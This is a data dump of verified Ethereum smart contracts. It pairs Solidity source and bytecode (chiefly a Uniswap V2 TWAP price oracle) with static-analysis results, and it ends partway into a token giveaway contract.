604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610fde9190611750565b6000604051808303816000865af19150503d806000811461101b576040519150601f19603f3d011682016040523d82523d6000602084013e611020565b606091505b5050505b600193505050505b949350505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b99061186d565b60405180910390fd5b600060026040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900460ff16151515158152505090506000816000015190506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082602001516111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af906118cd565b60405180910390fd5b60405180604001604052808273ffffffffffffffffffffffffffffffffffffffff16815260200160001515815250600260008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548160ff021916908315150217905550905050600360006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f7005ddb42f7ac176ef55c6adb46b53f52e2832c77e915dad61a643841466ea2160405160405180910390a3505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b9061186d565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca906118ad565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae127860405160405180910390a350565b6000813590506114a081611b86565b92915050565b6000813590506114b581611b9d565b92915050565b6000813590506114ca81611bb4565b92915050565b6000813590506114df81611bcb565b92915050565b6000602082840312156114fb576114fa611a51565b5b600061150984828501611491565b91505092915050565b60006020828403121561152857611527611a51565b5b6000611536848285016114a6565b91505092915050565b6000806000806080858703121561155957611558611a51565b5b6000611567878288016114d0565b9450506020611578878288016114bb565b9350506040611589878288016114d0565b925050606061159a878288016114bb565b91505092959194509250565b6115af81611984565b82525050565b6115be81611996565b82525050565b60006115cf82611952565b6115d98185611968565b93506115e9818560208601611a1e565b80840191505092915050565b6115fe816119e8565b82525050565b61160d816119b4565b82525050565b600061161e8261195d565b6116288185611973565b9350611638818560208601611a1e565b61164181611a56565b840191505092915050565b6000611659601683611973565b915061166482611a67565b602082019050919050565b600061167c601b83611973565b915061168782611a90565b602082019050919050565b600061169f601683611973565b91506116aa82611ab9565b602082019050919050565b60006116c2601083611973565b91506116cd82611ae2565b602082019050919050565b60006116e5601783611973565b91506116f082611b0b565b602082019050919050565b6000611708600b83611973565b915061171382611b34565b602082019050919050565b600061172b601083611973565b915061173682611b5d565b602082019050919050565b61174a816119de565b82525050565b600061175c82846115c4565b915081905092915050565b600060208201905061177c60008301846115a6565b92915050565b600060608201905061179760008301866115a6565b6117a460208301856115b5565b6117b160408301846115a6565b949350505050565b60006020820190506117ce60008301846115b5565b92915050565b60006060820190506117e960008301866115f5565b6117f660208301856115b5565b61180360408301846115f5565b949350505050565b600060208201905081810360008301526118258184611613565b905092915050565b600060208201905081810360008301526118468161164c565b9050919050565b600060208201905081810360008301526118668161166f565b9050919050565b6000602082019050818103600083015261188681611692565b9050919050565b600060208201905081810360008301526118a6816116b5565b9050919050565b600060208201905081810360008301526118c6816116d8565b9050919050565b600060208201905081810360008301526118e6816116fb565b9050919050565b600060208201905081810360008301526119068161171e565b9050919050565b60006080820190506119226000830187611741565b61192f6020830186611604565b61193c6040830185611741565b6119496060830184611604565b95945050505050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061198f826119be565b9050919050565b60008115159050919050565b60006119ad82611984565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006119f3826119fa565b9050919050565b6000611a0582611a0c565b9050919050565b6000611a17826119be565b9050919050565b60005b83811015611a3c578082015181840152602081019050611a21565b83811115611a4b576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f4d7573742062652070726f706f736564206f776e657200000000000000000000600082015250565b7f4e6f74206120636f6e666967757265642061676772656761746f720000000000600082015250565b7f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000600082015250565b7f4e6f2076616c696461746f722073657400000000000000000000000000000000600082015250565b7f43616e6e6f74207472616e7366657220746f2073656c66000000000000000000600082015250565b7f4e6f2070726f706f73616c000000000000000000000000000000000000000000600082015250565b7f496e76616c69642070726f706f73616c00000000000000000000000000000000600082015250565b611b8f81611984565b8114611b9a57600080fd5b50565b611ba6816119a2565b8114611bb157600080fd5b50565b611bbd816119b4565b8114611bc857600080fd5b50565b611bd4816119de565b8114611bdf57600080fd5b5056fea264697066735822122004006ab1054f7b01fcb0c8dd01856fa6c6c9da9b7f28d52a7150bedb94686c7464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
| 2,681 |
0x39A31efF10631eF94D2F34b7d72Ca01b0F0f84de
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.6;
// Part: IBetaOracle
interface IBetaOracle {
/// @dev Returns the given asset price in ETH (wei), multiplied by 2**112.
/// @param token The token to query for asset price
function getAssetETHPrice(address token) external returns (uint);
/// @dev Returns the given asset value in ETH (wei)
/// @param token The token to query for asset value
/// @param amount The amount of token to query
function getAssetETHValue(address token, uint amount) external returns (uint);
/// @dev Returns the conversion from amount of from` to `to`.
/// @param from The source token to convert.
/// @param to The destination token to convert.
/// @param amount The amount of token for conversion.
function convert(
address from,
address to,
uint amount
) external returns (uint);
}
// Part: IExternalOracle
interface IExternalOracle {
/// @dev Returns the price in terms of ETH for the given token, multiplifed by 2**112.
function getETHPx(address token) external view returns (uint);
}
// Part: IUniswapV2Factory
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
}
// File: BetaOracleUniswapV2.sol
contract BetaOracleUniswapV2 is IBetaOracle {
event SetGovernor(address governor);
event SetPendingGovernor(address pendingGovernor);
event Initialize(address token);
event Observe(address indexed token, uint224 price);
event SetExternal(address indexed token, address ext);
struct Observation {
uint lastCumu;
uint224 lastPrice;
uint32 timestamp;
}
address public immutable weth;
address public immutable factory;
uint32 public immutable minTwapTime;
address public governor;
address public pendingGovernor;
mapping(address => Observation) public observations;
mapping(address => address) public exts;
/// @dev Initializes the oracle contract.
/// @param _weth WETH address.
/// @param _factory Uniswap V2 factory address.
/// @param _minTwapTime Minimum interval for TWAP time (in seconds).
constructor(
address _weth,
address _factory,
uint32 _minTwapTime
) {
require(_weth != address(0), 'constructor/weth-zero-address');
require(_factory != address(0), 'constructor/factory-zero-address');
require(_minTwapTime != 0, 'constructor/min-twap-time-zero-value');
weth = _weth;
factory = _factory;
minTwapTime = _minTwapTime;
governor = msg.sender;
emit SetGovernor(msg.sender);
}
/// @dev Sets the next governor, which will be in effect when they accept.
/// @param _pendingGovernor The next governor address.
function setPendingGovernor(address _pendingGovernor) external {
require(msg.sender == governor, 'setPendingGovernor/not-governor');
pendingGovernor = _pendingGovernor;
emit SetPendingGovernor(_pendingGovernor);
}
/// @dev Accepts to become the next governor. Must only be called by the pending governor.
function acceptGovernor() external {
require(msg.sender == pendingGovernor, 'acceptGovernor/not-pending-governor');
pendingGovernor = address(0);
governor = msg.sender;
emit SetGovernor(msg.sender);
}
/// @dev Updates the external feed contract address for the given tokens by the governor.
/// @param _tokens The tokens to update external price oracle contract.
/// @param _ext The external price oracle contract.
function setExternalOracle(address[] calldata _tokens, address _ext) external {
require(msg.sender == governor, 'setExternalOracle/not-governor');
for (uint idx = 0; idx < _tokens.length; idx++) {
exts[_tokens[idx]] = _ext;
emit SetExternal(_tokens[idx], _ext);
}
}
/// @dev Initializes data points for price from pair for the given token.
/// @param token The token to initialize the price.
function initPriceFromPair(address token) public {
Observation storage obs = observations[token];
require(obs.timestamp == 0, 'initPriceFromPair/already-initialized');
address pair = IUniswapV2Factory(factory).getPair(token, weth);
obs.lastCumu = token < weth ? currentPrice0Cumu(pair) : currentPrice1Cumu(pair);
obs.lastPrice = 0;
obs.timestamp = uint32(block.timestamp);
emit Initialize(token);
}
/// @dev Utility functions to initialize multiple pair prices at once.
/// @param tokens Token list to mass initialize the prices.
function massInitPriceFromPair(address[] calldata tokens) external {
for (uint idx = 0; idx < tokens.length; idx++) {
initPriceFromPair(tokens[idx]);
}
}
/// @dev Updates price info for the given token and returns the last price.
/// @param token The token to update token-WETH pair price.
function updatePriceFromPair(address token) public returns (uint) {
Observation storage obs = observations[token];
uint32 lastObserved = obs.timestamp;
require(lastObserved > 0, 'updatePriceFromPair/uninitialized');
unchecked {
uint32 timeElapsed = uint32(block.timestamp) - lastObserved; // overflow is desired
if (timeElapsed < minTwapTime) {
uint lastPrice = obs.lastPrice;
require(lastPrice > 0, 'updatePriceFromPair/no-price');
return lastPrice;
}
address pair = IUniswapV2Factory(factory).getPair(token, weth);
uint currCumu = token < weth ? currentPrice0Cumu(pair) : currentPrice1Cumu(pair);
uint224 price = uint224((currCumu - obs.lastCumu) / timeElapsed); // overflow is desired
obs.lastPrice = price;
obs.lastCumu = currCumu;
obs.timestamp = uint32(block.timestamp);
emit Observe(token, price);
return price;
}
}
/// @dev Utility functions to update multiple pair prices at once.
/// @param tokens Token list to mass update prices.
function massUpdatePriceFromPair(address[] calldata tokens)
external
returns (uint[] memory prices)
{
prices = new uint[](tokens.length);
for (uint idx = 0; idx < tokens.length; idx++) {
prices[idx] = updatePriceFromPair(tokens[idx]);
}
}
/// @dev Returns the price of the given asset in terms of ETH (wei), multiplied by 2**112.
/// @param token The token to get asset price of.
function getAssetETHPrice(address token) public override returns (uint) {
if (token == weth) {
return (1 << 112);
}
address ext = exts[token];
if (ext != address(0)) {
return IExternalOracle(ext).getETHPx(token);
}
return updatePriceFromPair(token);
}
/// @dev Returns the given asset value in ETH (wei)
/// @param token The token to query for asset value
/// @param amount The amount of token to query
function getAssetETHValue(address token, uint amount) external override returns (uint) {
uint price = getAssetETHPrice(token);
return (price * amount) >> 112;
}
/// @dev Returns the conversion from amount of from` to `to`.
/// @param from The source token to convert.
/// @param to The destination token to convert.
/// @param amount The amount of token for conversion.
function convert(
address from,
address to,
uint amount
) external override returns (uint) {
uint fromPrice = getAssetETHPrice(from);
uint toPrice = getAssetETHPrice(to);
return (amount * fromPrice) / toPrice;
}
/// @dev Return the current price0 cumulative value on uniswap.
/// @param pair The uniswap pair to query for price0 cumulative value.
function currentPrice0Cumu(address pair) public view returns (uint price0Cumu) {
uint32 currTime = uint32(block.timestamp);
price0Cumu = IUniswapV2Pair(pair).price0CumulativeLast();
// can use reserves without flash-manipulated risks because cumu changes if reserves change
(uint reserve0, uint reserve1, uint32 lastTime) = IUniswapV2Pair(pair).getReserves();
if (lastTime != currTime) {
unchecked {
uint32 timeElapsed = currTime - lastTime; // overflow is desired
price0Cumu += uint((reserve1 << 112) / reserve0) * timeElapsed; // overflow is desired
}
}
}
/// @dev Return the current price1 cumulative value on uniswap.
/// @param pair The uniswap pair to query for price1 cumulative value.
function currentPrice1Cumu(address pair) public view returns (uint price1Cumu) {
uint32 currTime = uint32(block.timestamp);
price1Cumu = IUniswapV2Pair(pair).price1CumulativeLast();
// can use reserves without flash-manipulated risks because cumu changes if reserves change
(uint reserve0, uint reserve1, uint32 lastTime) = IUniswapV2Pair(pair).getReserves();
if (lastTime != currTime) {
unchecked {
uint32 timeElapsed = currTime - lastTime; // overflow is desired
price1Cumu += uint((reserve0 << 112) / reserve1) * timeElapsed; // overflow is desired
}
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638a04ff3c116100ad578063c45a015511610071578063c45a015514610312578063d4f4dfe414610339578063e3056a341461034c578063e58bb6391461035f578063f235757f1461036757600080fd5b80638a04ff3c146102355780639a462f8f1461029d578063ae27980d146102d9578063bc388242146102ec578063bd424684146102ff57600080fd5b806327b113ca116100f457806327b113ca1461019f5780633fc8cef3146101b2578063460d5ffa146101d95780636378aa32146101ec57806372b713611461020c57600080fd5b80630c340a2414610126578063144ff194146101565780631e61991114610177578063248391ff1461018c575b600080fd5b600054610139906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610169610164366004611019565b61037a565b60405190815260200161014d565b61018a610185366004611102565b6104c2565b005b61016961019a366004611053565b61060a565b61018a6101ad3660046110c0565b610644565b6101397f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b61018a6101e7366004611019565b610690565b6101ff6101fa3660046110c0565b610882565b60405161014d91906111b7565b61013961021a366004611019565b6003602052600090815260409020546001600160a01b031681565b610274610243366004611019565b600260205260009081526040902080546001909101546001600160e01b03811690600160e01b900463ffffffff1683565b604080519384526001600160e01b03909216602084015263ffffffff169082015260600161014d565b6102c47f0000000000000000000000000000000000000000000000000000000000000e1081565b60405163ffffffff909116815260200161014d565b6101696102e7366004611019565b610934565b6101696102fa366004611019565b610a6b565b61016961030d366004611094565b610d35565b6101397f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b610169610347366004611019565b610d59565b600154610139906001600160a01b031681565b61018a610e4a565b61018a610375366004611019565b610f03565b600080429050826001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b1580156103b957600080fd5b505afa1580156103cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f1919061119e565b91506000806000856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190611159565b92506001600160701b031692506001600160701b031692508363ffffffff168163ffffffff16146104b95780840363ffffffff811683607086901b816104b1576104b161126d565b040286019550505b50505050919050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260206004820152601e60248201527f73657445787465726e616c4f7261636c652f6e6f742d676f7665726e6f72000060448201526064015b60405180910390fd5b60005b8281101561060457816003600086868581811061054357610543611283565b90506020020160208101906105589190611019565b6001600160a01b039081168252602082019290925260400160002080546001600160a01b0319169290911691909117905583838281811061059b5761059b611283565b90506020020160208101906105b09190611019565b6040516001600160a01b03848116825291909116907f6a238cbf889fd9e18ec5a852b4354006cdd576b0f80d18a64e1e87d96d4ddd6d9060200160405180910390a2806105fc8161123c565b915050610524565b50505050565b60008061061685610d59565b9050600061062385610d59565b905080610630838661121d565b61063a91906111fb565b9695505050505050565b60005b8181101561068b5761067983838381811061066457610664611283565b90506020020160208101906101e79190611019565b806106838161123c565b915050610647565b505050565b6001600160a01b03811660009081526002602052604090206001810154600160e01b900463ffffffff16156107155760405162461bcd60e51b815260206004820152602560248201527f696e6974507269636546726f6d506169722f616c72656164792d696e697469616044820152641b1a5e995960da1b6064820152608401610518565b60405163e6a4390560e01b81526001600160a01b0383811660048301527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811660248301526000917f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9091169063e6a439059060440160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db9190611036565b90507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316836001600160a01b0316106108245761081f8161037a565b61082d565b61082d81610934565b8255600160e01b4263ffffffff160260018301556040516001600160a01b03841681527f36b1453565f45af7b509b59d5e2eac8f1948ea9e3e193db6663b4101afb6382c9060200160405180910390a1505050565b60608167ffffffffffffffff81111561089d5761089d611299565b6040519080825280602002602001820160405280156108c6578160200160208202803683370190505b50905060005b8281101561092d576108fe8484838181106108e9576108e9611283565b90506020020160208101906102fa9190611019565b82828151811061091057610910611283565b6020908102919091010152806109258161123c565b9150506108cc565b5092915050565b600080429050826001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b505afa158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ab919061119e565b91506000806000856001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156109eb57600080fd5b505afa1580156109ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a239190611159565b92506001600160701b031692506001600160701b031692508363ffffffff168163ffffffff16146104b95780840363ffffffff811684607085901b816104b1576104b161126d565b6001600160a01b03811660009081526002602052604081206001810154600160e01b900463ffffffff1680610aec5760405162461bcd60e51b815260206004820152602160248201527f757064617465507269636546726f6d506169722f756e696e697469616c697a656044820152601960fa1b6064820152608401610518565b4281900363ffffffff7f0000000000000000000000000000000000000000000000000000000000000e1081169082161015610b855760018301546001600160e01b031680610b7c5760405162461bcd60e51b815260206004820152601c60248201527f757064617465507269636546726f6d506169722f6e6f2d7072696365000000006044820152606401610518565b95945050505050565b60405163e6a4390560e01b81526001600160a01b0386811660048301527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811660248301526000917f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9091169063e6a439059060440160206040518083038186803b158015610c1357600080fd5b505afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611036565b905060007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316876001600160a01b031610610c9657610c918261037a565b610c9f565b610c9f82610934565b905060008363ffffffff168660000154830381610cbe57610cbe61126d565b838855046001600160e01b038116600160e01b4263ffffffff1602811760018901556040519081529091506001600160a01b038916907f37063826a3cfcf7bacee74232fe1dbc1526d6b89bbefbb982a7e2d727cd2f28c9060200160405180910390a26001600160e01b0316979650505050505050565b600080610d4184610d59565b90506070610d4f848361121d565b901c949350505050565b60007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316826001600160a01b03161415610da05750600160701b919050565b6001600160a01b03808316600090815260036020526040902054168015610e41576040516355cd56ff60e11b81526001600160a01b03848116600483015282169063ab9aadfe9060240160206040518083038186803b158015610e0257600080fd5b505afa158015610e16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3a919061119e565b9392505050565b610e3a83610a6b565b6001546001600160a01b03163314610eb05760405162461bcd60e51b815260206004820152602360248201527f616363657074476f7665726e6f722f6e6f742d70656e64696e672d676f7665726044820152623737b960e91b6064820152608401610518565b600180546001600160a01b031990811690915560008054339216821790556040519081527fbce074c8369e26e70e1ae2f14fc944da352cfe6f52e2de9572f0c9942a24b7fc9060200160405180910390a1565b6000546001600160a01b03163314610f5d5760405162461bcd60e51b815260206004820152601f60248201527f73657450656e64696e67476f7665726e6f722f6e6f742d676f7665726e6f72006044820152606401610518565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527f964dea888b00b2ab53f13dfe7ca334b46e99338c222ae232d98547a1da019f609060200160405180910390a150565b60008083601f840112610fc357600080fd5b50813567ffffffffffffffff811115610fdb57600080fd5b6020830191508360208260051b8501011115610ff657600080fd5b9250929050565b80516001600160701b038116811461101457600080fd5b919050565b60006020828403121561102b57600080fd5b8135610e3a816112af565b60006020828403121561104857600080fd5b8151610e3a816112af565b60008060006060848603121561106857600080fd5b8335611073816112af565b92506020840135611083816112af565b929592945050506040919091013590565b600080604083850312156110a757600080fd5b82356110b2816112af565b946020939093013593505050565b600080602083850312156110d357600080fd5b823567ffffffffffffffff8111156110ea57600080fd5b6110f685828601610fb1565b90969095509350505050565b60008060006040848603121561111757600080fd5b833567ffffffffffffffff81111561112e57600080fd5b61113a86828701610fb1565b909450925050602084013561114e816112af565b809150509250925092565b60008060006060848603121561116e57600080fd5b61117784610ffd565b925061118560208501610ffd565b9150604084015163ffffffff8116811461114e57600080fd5b6000602082840312156111b057600080fd5b5051919050565b6020808252825182820181905260009190848201906040850190845b818110156111ef578351835292840192918401916001016111d3565b50909695505050505050565b60008261121857634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561123757611237611257565b500290565b600060001982141561125057611250611257565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146112c457600080fd5b5056fea26469706673582212203def2accdb8f19eeeb2dc6bd8b14e47ded81585a56afd875c63100555e86709464736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 2,682 |
0x0f0d7fc13a898030509f8892385b8758e2e9e71f
|
/**
*Submitted for verification at Etherscan.io on 2022-01-06
*/
// SPDX-License-Identifier: MIT
// 84 71 32 64 84 104 101 71 104 111 115 116 68 101 118
// ASCII
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GiveawayContract is Ownable {
using SafeMath for uint256;
IERC20 public tokenAccel;
struct TokenInputInfo {
address addr;
uint256 rateInput;
uint256 rateOutput;
}
mapping (uint256 => TokenInputInfo) public tokenInput;
mapping (uint256 => mapping (address => uint256)) private balances;
mapping (address => bool) public claimed;
uint256 private totalDevidend;
constructor(address _tokenAccel) {
tokenAccel = IERC20(_tokenAccel);
}
function ownerAddInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{
